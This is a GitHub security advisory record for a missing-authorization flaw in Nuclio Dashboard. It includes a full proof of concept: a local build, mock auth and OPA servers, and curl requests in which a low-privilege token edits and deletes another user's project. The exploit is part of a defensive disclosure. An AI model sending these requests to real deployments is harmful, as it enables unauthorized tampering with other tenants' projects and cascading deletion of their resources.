{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/nuclio/nuclio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260513101907-1915cd26d514"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45730"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-04T15:05:56Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "This vulnerability exists in Nuclio Dashboard\u0027s project management API, allowing any authenticated user (without membership in the target project) to bypass OPA authorization checks on write paths (`PUT /api/projects/{id}`, `DELETE /api/projects`) and modify or delete any project along with all its associated resources (functions, API gateways, etc.). CWE classification: CWE-862 (Missing Authorization).\n\n---\n\n## Summary\n\nNuclio Dashboard correctly enforces OPA-based authorization on the project read path (`GET /api/projects`), populating `MemberIds` in `PermissionOptions` so OPA can filter results by user membership. However, the write paths (`PUT /api/projects/{id}` and `DELETE /api/projects`) construct `PermissionOptions` without setting `MemberIds`. The platform-layer `FilterProjectsByPermissions` function (`pkg/platform/abstract/platform.go:652`) short-circuits when `MemberIds` is empty, bypassing OPA entirely. Any authenticated user who knows a project name can modify or delete that project, triggering cascading deletion of all associated Functions, APIGateways, and FunctionEvents.\n\nAffected: Nuclio v1.15.26 (latest Helm release) and HEAD commit e185454 (latest source).\n\n---\n\n## Attacker Model\n\n**Attacker type**: Authenticated low-privilege tenant (no membership in the target project)\n\n**Initial access**:\n- Holds any valid Nuclio Dashboard credentials\n- The account has no membership in the target project (OPA correctly denies `GET /api/projects`, returning an empty list)\n- No Kubernetes RBAC permissions required \u2014 the vulnerability is triggered at the Dashboard application layer, not via K8s API Server\n\n**Attacker location**: Authenticated user; network position depends on deployment:\n- Typical Iguazio/MLRun enterprise deployment: Dashboard is exposed via load balancer to internal or public networks\n- Self-hosted deployment: Dashboard is usually limited to cluster-internal or internal network access\n- Conservative baseline: authenticated-internal; for public-facing deployments, reachability should be rated higher\n\n**User interaction required**: None\n- The attacker directly sends HTTP requests to `PUT /api/projects/{id}` or `DELETE /api/projects` to trigger the vulnerability; no action from the target user is required\n\n**Privilege gap**:\n\n```\nBefore: Authenticated account with zero permissions on target project\n        (OPA correctly denies GET, returns empty list)\n   \u2193\nAfter:  Can modify or delete any project on the platform\n        Can trigger cascading deletion of all associated Functions,\n        APIGateways, and FunctionEvents\n        Can modify project configuration, affecting NuclioProject CRD\n        in Kubernetes deployments\n```\n\n**Exploitation difficulty**: Very low \u2014 four-step attack chain, each step requiring no special technical skill.\n\n---\n\n## Details\n\n### Root Cause\n\nThe read and write paths diverge in how they populate `PermissionOptions.MemberIds`:\n\n**Read path (correct implementation)** \u2014 `pkg/dashboard/resource/project.go:87-90`\n```go\nPermissionOptions: opaclient.PermissionOptions{\n    MemberIds:           opa.GetUserAndGroupIdsFromAuthSession(pr.getCtxSession(ctx)),\n    OverrideHeaderValue: request.Header.Get(headers.ProjectsRole),\n},\n```\n\n**Write path Update (vulnerable)** \u2014 `pkg/dashboard/resource/project.go:194-196`\n```go\nPermissionOptions: opaclient.PermissionOptions{\n    OverrideHeaderValue: request.Header.Get(headers.ProjectsRole),\n    // MemberIds is not set \u2014 OPA check will be skipped\n},\n```\n\n**Write path deleteProject (vulnerable)** \u2014 `pkg/dashboard/resource/project.go:686-688`\n```go\nPermissionOptions: opaclient.PermissionOptions{\n    OverrideHeaderValue: request.Header.Get(headers.ProjectsRole),\n    // MemberIds is not set \u2014 OPA check will be skipped\n},\n```\n\n**Short-circuit bypass** \u2014 `pkg/platform/abstract/platform.go:652`\n```go\nfunc (ap *Platform) FilterProjectsByPermissions(...) ([]platform.Project, error) {\n    if len(permissionOptions.MemberIds) == 0 || len(projects) == 0 {\n        return projects, nil  // skips OPA entirely\n    }\n    allowedList, err := ap.QueryOPAMultipleResources(...)\n}\n```\n\n**Kubernetes platform write paths (no OPA at all)** \u2014 `pkg/platform/kube/platform.go:779-793`\n```go\nfunc (p *Platform) UpdateProject(ctx context.Context, updateProjectOptions *platform.UpdateProjectOptions) error {\n    if err := p.ValidateProjectConfig(ctx, \u0026updateProjectOptions.Project); err != nil { ... }\n    if _, err := p.projectsClient.Update(ctx, updateProjectOptions); err != nil { ... }\n    return nil  // no OPA call\n}\n\nfunc (p *Platform) DeleteProject(ctx context.Context, deleteProjectOptions *platform.DeleteProjectOptions) error {\n    if err := p.ValidateDeleteProjectOptions(ctx, deleteProjectOptions); err != nil { ... }\n    if err := p.projectsClient.Delete(ctx, deleteProjectOptions); err != nil { ... }\n    return nil  // no OPA call\n}\n```\n\n### Sanitizer Coverage Analysis\n\nAll validation functions on the write path are format-only and contain no identity or ownership-based authorization checks:\n\n**ValidateProjectConfig** \u2014 `pkg/platform/abstract/platform.go:854-879`\n```go\nfunc (ap *Platform) ValidateProjectConfig(projectConfig *platform.ProjectConfig) error {\n    if projectConfig.Meta.Name == \"\" { return ... }          // name not empty\n    if err := utils.ValidateLabels(...); err != nil { ... }  // labels format\n    if err := utils.ValidateLabels(...); err != nil { ... }  // node selector format\n    errorMessages := validation.IsDNS1123Label(...)          // DNS naming convention\n    return nil\n    // No identity check, no ownership check, no OPA call\n}\n```\n\nPure format validation \u2014 no identity or resource-ownership checks of any kind.\n\n**ValidateDeleteProjectOptions (false security check)** \u2014 `pkg/platform/abstract/platform.go:536-576`\n```go\nfunc (ap *Platform) ValidateDeleteProjectOptions(ctx context.Context,\n    deleteProjectOptions *platform.DeleteProjectOptions) error {\n    // ...\n    projects, err := ap.platform.GetProjects(ctx, \u0026platform.GetProjectsOptions{\n        Meta:              deleteProjectOptions.Meta,\n        PermissionOptions: deleteProjectOptions.PermissionOptions,  // MemberIds still empty!\n        // ...\n    })\n    // ...\n    if len(projects) == 0 { return nil }  // project doesn\u0027t exist, exit early\n    // Check for associated functions/API gateways\n}\n```\n\nThis function calls `GetProjects` passing along the `PermissionOptions` inherited from the caller \u2014 with `MemberIds` still empty. The inner OPA query is therefore also bypassed by the same short-circuit. It appears to validate project existence and associated resources, but the identity check is silently absent. This is a false security check.\n\n**Conclusion**: Two validation layers exist on the write path; both are format-only. No identity-based authorization check exists anywhere in the write path, leaving the entire defense chain ineffective at the application layer.\n\n### Call Chain Comparison\n\nRead path (correctly blocks unauthorized access):\n```\nGET /api/projects\n  \u2192 GetAll() [project.go:71]\n    \u2192 MemberIds = GetUserAndGroupIdsFromAuthSession() [project.go:88]\n    \u2192 platform.GetProjects(MemberIds=[uid, gid1, ...])\n    \u2192 FilterProjectsByPermissions(MemberIds=[uid, gid1, ...])\n    \u2192 OPA filter_allowed called \u2192 unauthorized user gets empty list \u2713\n```\n\nWrite path (authorization bypassed):\n```\nPUT /api/projects/{id}\n  \u2192 Update() [project.go:165]\n    \u2192 MemberIds = (not set) [project.go:194]\n    \u2192 platform.UpdateProject(MemberIds=[])\n    \u2192 ValidateProjectConfig() \u2190 format-only, no auth check\n    \u2192 projectsClient.Update() \u2192 project modified, no OPA check\n\nDELETE /api/projects\n  \u2192 deleteProject() [project.go:663]\n    \u2192 MemberIds = (not set) [project.go:686]\n    \u2192 platform.DeleteProject(MemberIds=[])\n    \u2192 ValidateDeleteProjectOptions()\n      \u2192 inner GetProjects(MemberIds=[]) \u2192 OPA bypassed again (false security check)\n    \u2192 projectsClient.Delete() \u2192 project deleted, no OPA check\n```\n\nFor reference, the function write path is correctly implemented (`pkg/dashboard/resource/function.go:564-566`), confirming this is an omission specific to project write paths:\n```go\nPermissionOptions: opaclient.PermissionOptions{\n    MemberIds:           opa.GetUserAndGroupIdsFromAuthSession(fr.getCtxSession(ctx)),\n    OverrideHeaderValue: request.Header.Get(headers.ProjectsRole),\n},\n```\n\n---\n\n## PoC (Proof of Concept)\n\n### Environment Setup\n\nThis verification uses the Nuclio Dashboard binary compiled from source, paired with a mock Iguazio auth server and a mock OPA server. No Kubernetes cluster is required.\n\n**Step 1: Prepare working directory**\n\n```bash\nmkdir -p /tmp/nuclio-vul001-test/logs\n\n# Create empty templates archive required by dashboard on startup\npython3 -c \"import zipfile; z = zipfile.ZipFile(\u0027/tmp/templates.zip\u0027, \u0027w\u0027); z.close()\"\n```\n\n**Step 2: Build Nuclio Dashboard binary from source (HEAD commit e185454)**\n\n```bash\ncd /path/to/nuclio-source\n\nGOPROXY=\"https://goproxy.io,direct\" \\\nGONOSUMCHECK=\"code.cloudfoundry.org/*\" \\\nGOFLAGS=\"-mod=mod\" \\\ngo build -o /tmp/nuclio-vul001-test/nuclio-dashboard \\\n    ./cmd/dashboard/main.go\n\nls -lh /tmp/nuclio-vul001-test/nuclio-dashboard\n# Expected: -rwxr-xr-x ... 135M ... nuclio-dashboard\n```\n\n**Step 3: Deploy mock Iguazio Auth + OPA server**\n\nSave as `/tmp/nuclio-vul001-test/mock_server.py`:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nMock server for VUL-001 verification:\n- Port 9998: Iguazio auth session verification endpoint\n- Port 9999: OPA permission check endpoint\n\nToken mapping:\n  admin-token  -\u003e uid-admin-001 / gid-admin  (full access to all projects)\n  reader-token -\u003e uid-reader-002 / gid-reader (no access to any project)\n\"\"\"\n\nimport json\nimport threading\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nADMIN_IDS = {\"uid-admin-001\", \"admin\", \"gid-admin\"}\nREADER_IDS = {\"uid-reader-002\", \"reader\", \"gid-reader\"}\n\n\nclass MockIguazioAuthHandler(BaseHTTPRequestHandler):\n    def do_GET(self): self._handle_verify()\n    def do_POST(self): self._handle_verify()\n\n    def _handle_verify(self):\n        auth = self.headers.get(\"authorization\", \"\")\n        if \"admin-token\" in auth:\n            uid, gids, username = \"uid-admin-001\", [\"gid-admin\"], \"admin\"\n        elif \"reader-token\" in auth:\n            uid, gids, username = \"uid-reader-002\", [\"gid-reader\"], \"reader\"\n        else:\n            self.send_response(401); self.end_headers(); return\n\n        # Return iguazio session verification response format\n        body = json.dumps({\"data\": {\"attributes\": {\"context\": {\"authentication\": {\n            \"user_id\": uid, \"group_ids\": gids\n        }}}}}).encode()\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.send_header(\"Content-Length\", str(len(body)))\n        self.send_header(\"x-remote-user\", username)\n        self.send_header(\"x-v3io-session-key\", f\"{username}-session-key\")\n        self.end_headers()\n        self.wfile.write(body)\n        print(f\"[AUTH] Verified: {username}\", flush=True)\n\n    def log_message(self, *args): pass\n\n\nclass MockOPAHandler(BaseHTTPRequestHandler):\n    def do_POST(self):\n        length = int(self.headers.get(\"Content-Length\", 0))\n        data = json.loads(self.rfile.read(length))\n        inp = data.get(\"input\", {})\n        ids, resources = inp.get(\"ids\", []), inp.get(\"resources\", [])\n        is_admin = any(i in ADMIN_IDS for i in ids)\n\n        if self.path == \"/v1/data/iguazio/authz/filter_allowed\":\n            # Filter: admin sees all, reader sees nothing\n            result = resources if is_admin else []\n            print(f\"[OPA FILTER] ids={ids} -\u003e {\u0027ALLOW\u0027 if is_admin else \u0027DENY\u0027} {result}\", flush=True)\n        elif self.path == \"/v1/data/iguazio/authz/allow\":\n            result = is_admin\n            print(f\"[OPA ALLOW] ids={ids} -\u003e {result}\", flush=True)\n        else:\n            result = True\n\n        body = json.dumps({\"result\": result}).encode()\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.send_header(\"Content-Length\", str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n\n    def log_message(self, *args): pass\n\n\ndef run(handler, port, name):\n    s = HTTPServer((\"127.0.0.1\", port), handler)\n    print(f\"[*] {name} listening on port {port}\", flush=True)\n    s.serve_forever()\n\nif __name__ == \"__main__\":\n    for handler, port, name in [\n        (MockIguazioAuthHandler, 9998, \"Mock Iguazio Auth\"),\n        (MockOPAHandler, 9999, \"Mock OPA\"),\n    ]:\n        t = threading.Thread(target=run, args=(handler, port, name), daemon=True)\n        t.start()\n    print(\"[*] Mock servers ready. Ctrl+C to stop.\", flush=True)\n    import time\n    try:\n        while True: time.sleep(1)\n    except KeyboardInterrupt:\n        print(\"\\n[*] Stopped.\")\n```\n\nSave as `/tmp/nuclio-vul001-test/platform.yaml`:\n\n```yaml\nopa:\n  address: \"http://127.0.0.1:9999\"\n  clientKind: \"http\"\n  permissionQueryPath: \"/v1/data/iguazio/authz/allow\"\n  permissionFilterPath: \"/v1/data/iguazio/authz/filter_allowed\"\n  verbose: true\n```\n\nStart the mock servers:\n\n```bash\npython3 /tmp/nuclio-vul001-test/mock_server.py \\\n    \u003e /tmp/nuclio-vul001-test/logs/mock_server.log 2\u003e\u00261 \u0026\nMOCK_PID=$!\nsleep 1\n```\n\n**Step 4: Start Nuclio Dashboard**\n\n```bash\n/tmp/nuclio-vul001-test/nuclio-dashboard \\\n  --platform=local \\\n  --listen-addr=:8070 \\\n  --auth-config-kind=iguazio \\\n  --auth-config-iguazio-verification-url=\"http://127.0.0.1:9998/verify\" \\\n  --auth-config-iguazio-verification-method=GET \\\n  --auth-config-iguazio-timeout=10s \\\n  --auth-config-iguazio-cache-size=100 \\\n  --auth-config-iguazio-cache-expiration-timeout=10s \\\n  --platform-config=\"/tmp/nuclio-vul001-test/platform.yaml\" \\\n  --namespace=\"test-ns\" \\\n  --monitor-docker-deamon=false \\\n  --offline=true \\\n  \u003e /tmp/nuclio-vul001-test/logs/dashboard.log 2\u003e\u00261 \u0026\nDASHBOARD_PID=$!\nsleep 5\n\nkill -0 $DASHBOARD_PID \u0026\u0026 echo \"Dashboard started successfully\" || \\\n  { echo \"Dashboard failed\"; tail -20 /tmp/nuclio-vul001-test/logs/dashboard.log; exit 1; }\n```\n\n**Step 5: Verify authentication is active**\n\n```bash\nHTTP_CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n  http://localhost:8070/api/projects -H \"x-nuclio-namespace: test-ns\")\necho \"Unauthenticated request: HTTP $HTTP_CODE\"\n# Expected: HTTP 401\n```\n\nActual output:\n```\nUnauthenticated request: HTTP 401\n```\n\n### Exploitation Steps\n\n**Step 1: Admin creates a test project (HTTP 201)**\n\n```bash\ncurl -s -o /dev/null -w \"%{http_code}\" \\\n  -X POST http://localhost:8070/api/projects \\\n  -H \"Authorization: admin-token\" \\\n  -H \"x-nuclio-namespace: test-ns\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"metadata\":{\"name\":\"vul001-poc-project\",\"namespace\":\"test-ns\"},\"spec\":{\"description\":\"Original description by admin\"}}\u0027\n```\n\nOutput: `201`\n\n**Step 2: Reader attempts GET \u2014 OPA correctly denies (HTTP 200, empty result)**\n\n```bash\ncurl -s -H \"Authorization: reader-token\" -H \"x-nuclio-namespace: test-ns\" \\\n  http://localhost:8070/api/projects\n```\n\nOutput: `{}`\n\nDashboard log (OPA is invoked on read path):\n```\n16:16:53 [D] dashboard.iguazio-auth Successfully authenticated: sessionUsername=reader\n16:16:54 [I] dashboard.platform.opa Sending request to OPA\n  {\"requestBody\":\"{\\\"input\\\":{\\\"resources\\\":[\\\"/projects/vul001-poc-project\\\"],\\\"action\\\":\\\"read\\\",\\\"ids\\\":[\\\"uid-reader-002\\\",\\\"reader\\\",\\\"gid-reader\\\"]}}\"}\n16:16:54 [I] dashboard.platform.opa Received response: {\"result\": []}\n```\n\nMock OPA server log:\n```\n[OPA FILTER] ids=[\u0027uid-reader-002\u0027, \u0027reader\u0027, \u0027gid-reader\u0027] -\u003e DENY []\n```\n\nThe read path correctly blocks the reader.\n\n**Step 3: Reader exploits vulnerable PUT path \u2014 unauthorized modification (HTTP 204)**\n\n```bash\ncurl -s -o /dev/null -w \"%{http_code}\" \\\n  -X PUT \\\n  -H \"Authorization: reader-token\" \\\n  -H \"x-nuclio-namespace: test-ns\" \\\n  -H \"Content-Type: application/json\" \\\n  \"http://localhost:8070/api/projects/vul001-poc-project\" \\\n  -d \u0027{\"metadata\":{\"name\":\"vul001-poc-project\",\"namespace\":\"test-ns\"},\"spec\":{\"description\":\"MODIFIED_BY_LOW_PRIV_READER\"}}\u0027\n```\n\nOutput: `204`\n\n**Expected: 403 Forbidden. Actual: 204 No Content \u2014 unauthorized modification succeeded.**\n\nDashboard log (no OPA entries on the PUT path \u2014 contrast with Step 2):\n```\n16:17:47 [D] dashboard.iguazio-auth Successfully authenticated: sessionUsername=reader\n16:17:47 [D] d.platform.projects-local Updating a project {\"projectName\":\"vul001-poc-project\"}\n16:17:47 [D] dashboard.store Writing file contents {\"description\":\"MODIFIED_BY_LOW_PRIV_READER\"}\n16:17:47 [D] dashboard.server Handled request: PUT /api/projects/vul001-poc-project \u2192 204\n```\n\n**Step 4: Admin verifies modification persisted**\n\n```bash\ncurl -s -H \"Authorization: admin-token\" -H \"x-nuclio-namespace: test-ns\" \\\n  \"http://localhost:8070/api/projects/vul001-poc-project\" \\\n  | python3 -c \"import sys,json; d=json.load(sys.stdin); print(d[\u0027spec\u0027][\u0027description\u0027])\"\n```\n\nOutput:\n```\nMODIFIED_BY_LOW_PRIV_READER\n```\n\n**Step 5: Reader exploits vulnerable DELETE path \u2014 unauthorized deletion (HTTP 204)**\n\n```bash\ncurl -s -o /dev/null -w \"%{http_code}\" \\\n  -X DELETE \\\n  -H \"Authorization: reader-token\" \\\n  -H \"x-nuclio-namespace: test-ns\" \\\n  -H \"Content-Type: application/json\" \\\n  http://localhost:8070/api/projects \\\n  -d \u0027{\"metadata\":{\"name\":\"vul001-poc-project\",\"namespace\":\"test-ns\"}}\u0027\n```\n\nOutput: `204`\n\n**Expected: 403 Forbidden. Actual: 204 No Content \u2014 unauthorized deletion succeeded.**\n\nDashboard log (no OPA entries on the DELETE path):\n```\n16:18:14 [D] dashboard.iguazio-auth Successfully authenticated: sessionUsername=reader\n16:18:14 [D] d.platform.projects-local Deleting a project {\"projectMeta\":{\"name\":\"vul001-poc-project\",\"namespace\":\"test-ns\"}}\n16:18:14 [D] dashboard.server Handled request: DELETE /api/projects \u2192 204\n```\n\n**Step 6: Admin confirms project is gone**\n\n```bash\ncurl -s -o /dev/null -w \"%{http_code}\" \\\n  -H \"Authorization: admin-token\" -H \"x-nuclio-namespace: test-ns\" \\\n  \"http://localhost:8070/api/projects/vul001-poc-project\"\n```\n\nOutput: `404`\n\n### Expected Result\n\n| Operation | User | OPA Called | HTTP Status | Result |\n|-----------|------|-----------|------------|--------|\n| GET /api/projects | reader | Yes | 200 (empty) | Read path protected correctly |\n| PUT /api/projects/{id} | reader | **No** | **204** | **Vulnerable: unauthorized modification** |\n| DELETE /api/projects | reader | **No** | **204** | **Vulnerable: unauthorized deletion** |\n| GET /api/projects/{id} | admin | \u2014 | 200 | Modification confirmed persisted |\n| GET /api/projects/{id} | admin | \u2014 | 404 | Deletion confirmed |\n\n---\n\n## Impact\n\n### Multi-Tenant Isolation Breach (Trust Boundary)\n\nThis vulnerability is a **Multi-Tenant Isolation Breach** \u2014 the attacker crosses the Nuclio Dashboard tenant isolation boundary to perform write operations on resources they have no access to:\n\n```\nTenant B (authenticated, no rights on target project)\n  \u2193 Write path OPA check completely absent\nNuclio Dashboard (application-layer trust boundary,\n                  should isolate tenant data)\n  \u2193 Direct write to storage layer (no identity verification)\nTenant A\u0027s project data (cross-tenant write/delete)\n  \u2193 Cascades to\nAll associated Functions, APIGateways, FunctionEvents deleted or tampered\n```\n\n**Confidentiality (C:L)**\n\nThe read path is protected by OPA; the attacker cannot enumerate project contents via GET. However, the attacker can infer project existence by sending PUT/DELETE requests and observing response codes (204 vs 404), creating a side-channel information leak. The actual project data content is not directly readable.\n\n**Integrity (I:H)**\n\nAny authenticated user can modify the configuration of any project on the platform, including:\n- Project description and metadata\n- In Kubernetes deployments: NuclioProject CRD fields that affect Nuclio controller reconciliation behavior, such as `DefaultFunctionNodeSelector` and `DefaultFunctionPriorityClassName`, which influence subsequent function deployments under the project\n\n**Availability (A:H)**\n\nAny authenticated user can delete any project, triggering cascading deletion of all associated Functions, APIGateways, and FunctionEvents. These operations are irreversible through normal means.\n\n### Kubernetes Deployment Impact Analysis\n\nIn Kubernetes deployments, each Nuclio project maps to a NuclioProject CRD. The Nuclio controller (`nuclio-controller`) continuously watches NuclioProject resources and reconciles state:\n\n- **Modification impact**: NuclioProject Spec fields such as `DefaultFunctionNodeSelector` and `DefaultFunctionPriorityClassName` affect deployment templates for functions under that project when reconciled. An attacker modifying these fields can influence the execution environment of functions subsequently deployed under the compromised project.\n- **Deletion impact**: Deleting a NuclioProject CRD triggers the controller to cascade-delete all associated NuclioFunction, NuclioAPIGateway, and related CRD resources in the namespace.\n\nThe currently known attack path does not directly modify ServiceAccount or ClusterRoleBinding resources. Credential theft risk is low on the direct path, but the indirect impact on function execution environments warrants monitoring.\n\n### Typical Attack Scenarios\n\n- In a multi-tenant Nuclio environment, Tenant B with a low-privilege account can modify or delete Tenant A\u0027s projects by knowing the project name (obtainable via guessing or internal information)\n- An attacker systematically deletes all projects on the platform, causing platform-wide service disruption not bounded by namespace\n- Modifying another tenant\u0027s project configuration in Kubernetes environments affects function deployment behavior (node selection, resource quotas)\n\n---\n\n## Severity\n\n**Scope Justification (S:U vs S:C)**\n\nThe current score uses S:U. Under CVSS 3.1, S:C requires that the affected component operates in a different authorization scope from the vulnerable component. Here, both the attacker\u0027s session and the victim\u0027s project resources fall within the same Nuclio Dashboard authorization domain; the tenant isolation is a logical boundary within the application rather than a separate authorization authority. From a strict CVSS 3.1 perspective, S:U is more accurate.\n\nHowever, since the vulnerability enables one tenant to affect another tenant\u0027s resources, an argument can be made for S:C from the perspective that the attacker\u0027s authorization context and the victim\u0027s resource authority are logically distinct. The Scope selection rationale should be noted in the submission for the recipient to make a final determination.\n\n---\n\n## Affected Versions\n\n- Nuclio HEAD commit e185454 (latest source, dynamically verified)\n- Nuclio v1.15.26 (latest Helm chart release, same code path confirmed)\n- All versions with iguazio or iguazio-v4 authentication enabled\n\nDeployments using the default `nop` authentication mode are not affected, but production Iguazio environments always use iguazio authentication.\n\n---\n\n## Patched Versions\n\nNo patched version available as of 2026-05-06.\n\n---\n\n## Workarounds\n\nUntil an official fix is released:\n\n1. **Network-level restriction**: Use firewall rules or Kubernetes NetworkPolicy to restrict Dashboard API access to trusted clients only\n2. **Credential control**: Strictly limit distribution of Nuclio Dashboard credentials to minimize low-privilege account exposure\n3. **Audit logging**: Enable access logging on `PUT /api/projects/` and `DELETE /api/projects` paths and monitor for anomalous operations\n\n---\n\n## References\n\n- Vulnerable code (missing MemberIds on write path): `pkg/dashboard/resource/project.go:194`, `:686`\n- Short-circuit bypass: `pkg/platform/abstract/platform.go:652`\n- False security check: `pkg/platform/abstract/platform.go:536-576`\n- Format-only validation (no auth check): `pkg/platform/abstract/platform.go:854-879`\n- Kubernetes platform write paths (no OPA): `pkg/platform/kube/platform.go:779-793`\n- Correct read path implementation (reference): `pkg/dashboard/resource/project.go:87-90`\n- Correct function write path implementation (reference): `pkg/dashboard/resource/function.go:564-566`\n- Nuclio GitHub repository: https://github.com/nuclio/nuclio",
  "id": "GHSA-m8xg-8xg9-mxhm",
  "modified": "2026-06-04T15:05:56Z",
  "published": "2026-06-04T15:05:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nuclio/nuclio/security/advisories/GHSA-m8xg-8xg9-mxhm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuclio/nuclio/pull/4107"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuclio/nuclio/commit/1915cd26d514dcdd487517d4be56673fc02298e0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nuclio/nuclio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuclio/nuclio/releases/tag/1.16.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nuclio: Missing authorization on project write paths allows any authenticated user to modify or delete any project"
}